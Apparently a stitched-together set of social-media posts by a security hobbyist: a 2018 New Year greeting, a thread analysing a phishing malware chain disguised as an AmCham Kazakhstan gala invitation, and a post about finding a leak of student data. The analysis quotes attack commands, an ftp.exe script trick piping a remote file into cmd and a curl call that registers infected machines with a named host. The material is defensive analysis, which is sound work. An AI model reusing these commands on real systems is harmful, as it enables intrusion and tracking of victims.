AfroSec

sooo i guess 2018 is officially over 🥹 what a roller coaster this year has been. so many things happened, and some of the decisions i made completely changed the path of my life. met a lot of amazing and cool people along the way, learned a lot, grew a lot, and honestly… i’m just grateful for everything. i hope 2019 brings us more peace, love, happiness, and good vibes and yeah, thank you to everyone who joined me on this journey appreciate every single one of you ❤️ we’ll cook 2019 just like we did this year ofc HAPPY NEW YEAR ❤️ @AfroSec

Last time on Dragon Ball Z: someone sent me goop (malware) which successfully evaded their EDR and all AVs. It also passed everything on VirusTotal for static-analysis. They sent it to me to bonk with a stick, bonking this whole thing would take me a long time, and I'm not going to do that. I wanted to determine what it was doing, etc. My knowledge on state-sponsored activity and geopolitics in the CIS (Commonwealth of Independent States, ex-Soviet countries) is rusty. However, based on the nature of this goop I would be willing to bet 4 silly pictures of cats this is a state-sponsored malware campaign. 1. The file (a .rar) sent is a fake invitation to the AmCham Kazakhstan's 2026 Gala (or so I assume based on some Google searches) which is happening October 16th, 2026, in Astana, Kazakhstan 2. The file contains two files. A .xz file (unsure what it does still at this time, but it's a JPEG, not a real archive) and a .url file (internet shortcut). The internet shortcut is named "Scanned Image". Likely a masquerading technique. 3. The .url file connects via WebDAV to "file://rappellingaart.com@SSL/secure-docs/3". This directory contains a .lnk (Windows shortcut) and a .ico (Icon file). 4. This is a masquerading effort, the end user must execute the .lnk file to proceed to the remaining payload. The WebDAV appears as a regular directory in File Explorer on Windows 5. The .lnk executes FTP.exe inside System32 and passes the WebDAV path to the .ico file as a LOLBIN, as this: "ftp.exe -s:icon.ico" 6. The .ico acts as a command template and does "!more \\rappellingaart.com@SSL\secure-docs\res.ico|cmd" 7. The res.ico file, which is piped into CMD.exe, creates a series of scheduled tasks, most notably it connects to gomescareerplans(.)com and performs a CURL on the domain under /docs/?vid=%computername%" as a way to register the machine that it has been infected by their payload 8. The res.ico also references the WebDAV URL again and performs a silent installation

damn brooo 😭 i literally hacked them with my phone i even wrote this with AI lol i was having a normal convo with someone, tried to check something real quick, and ended up finding some potential endpoints. turns out it was a massive data leak — around 102K students’ names, phone numbers, passwords, locations, and even device info, including MAC addresses 💀 that’s a serious privacy invasion. and it doesn’t stop there — there are also 7K+ lessons with video attachments and other stuff exposed. i’m literally in a taxi rn 💀 gonna report this to them as soon as i get home. @AfroSec